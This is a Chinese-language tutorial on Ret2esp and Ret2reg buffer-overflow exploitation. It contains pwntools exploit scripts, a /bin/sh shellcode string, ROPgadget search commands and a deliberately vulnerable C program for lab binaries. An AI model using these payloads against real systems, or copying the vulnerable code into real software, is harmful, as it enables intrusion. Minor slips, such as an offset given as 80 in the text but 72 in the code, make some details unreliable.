Ret2esp / Ret2reg

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Ret2esp

由于ESP（堆栈指针）始终指向堆栈的顶部，这种技术涉及将EIP（指令指针）替换为**jmp esp或call esp**指令的地址。通过这样做，shellcode被放置在被覆盖的EIP之后。当ret指令执行时，ESP指向下一个地址，恰好是shellcode存储的位置。

如果在Windows或Linux中未启用地址空间布局随机化（ASLR），则可以使用在共享库中找到的jmp esp或call esp指令。然而，如果ASLR激活，可能需要在受影响的程序内部寻找这些指令（您可能需要击败PIE）。

此外，能够将shellcode放置在EIP损坏之后，而不是在堆栈中间，可以确保在函数运行过程中执行的任何push或pop指令不会干扰shellcode。如果shellcode放置在函数堆栈的中间，可能会发生这种干扰。

空间不足

如果在覆盖RIP后写入的空间不足（也许只有几个字节），可以编写一个初始的**jmp** shellcode，例如：

sub rsp, 0x30
jmp rsp

并将shellcode提前放在堆栈中。

示例

您可以在https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp中找到此技术的示例，最终利用如下：

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

你可以在https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html中看到这种技术的另一个示例。这里存在一个未启用NX的缓冲区溢出，使用了一个小工具来减少$esp的地址，然后使用jmp esp;跳转到shellcode：

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

类似地，如果我们知道一个函数返回存储shellcode的地址，我们可以利用**call eax或jmp eax指令（称为ret2eax技术），提供另一种执行我们的shellcode的方法。就像eax一样，包含有趣地址的任何其他寄存器**都可以被使用（ret2reg）。

示例

您可以在这里找到一些示例:

ARM64

Ret2sp

在ARM64中，没有允许跳转到SP寄存器的指令。可能会找到一个将sp移动到寄存器然后跳转到该寄存器的gadget，但在我的kali libc中找不到类似的gadget:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

我发现的唯一方法是更改在跳转到它之前复制sp的寄存器的值（因此它将变得无用）：

Ret2reg

如果一个寄存器有一个有趣的地址，只需找到适当的指令就可以跳转到它。您可以使用类似以下的内容：

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

在ARM64中，是**x0**存储函数的返回值，因此可能是x0存储用户控制的缓冲区地址，其中包含用于执行的shellcode。

示例代码:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

检查函数的反汇编代码，可以看到缓冲区的地址（容易受到缓冲区溢出攻击，由用户控制）在从缓冲区溢出返回之前被存储在 x0 中：

在**do_stuff函数中也可以找到br x0**这个特殊指令：

我们将使用该特殊指令进行跳转，因为二进制文件是没有启用 PIE 编译的。通过模式匹配，可以看到缓冲区溢出的偏移量为 80，因此利用将是：

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

如果使用的是read而不是fgets，也可以通过仅覆盖返回地址的最后2个字节来绕过PIE，返回到br x0;指令，而无需知道完整地址。 使用fgets不起作用，因为它在末尾添加了一个空字节（0x00）。

保护措施

  • NX: 如果堆栈不可执行，这不会有帮助，因为我们需要将 shellcode 放在堆栈中并跳转执行它。

  • ASLR & PIE: 这些保护措施可以使查找跳转到 esp 或任何其他寄存器的指令变得更加困难。

参考资料

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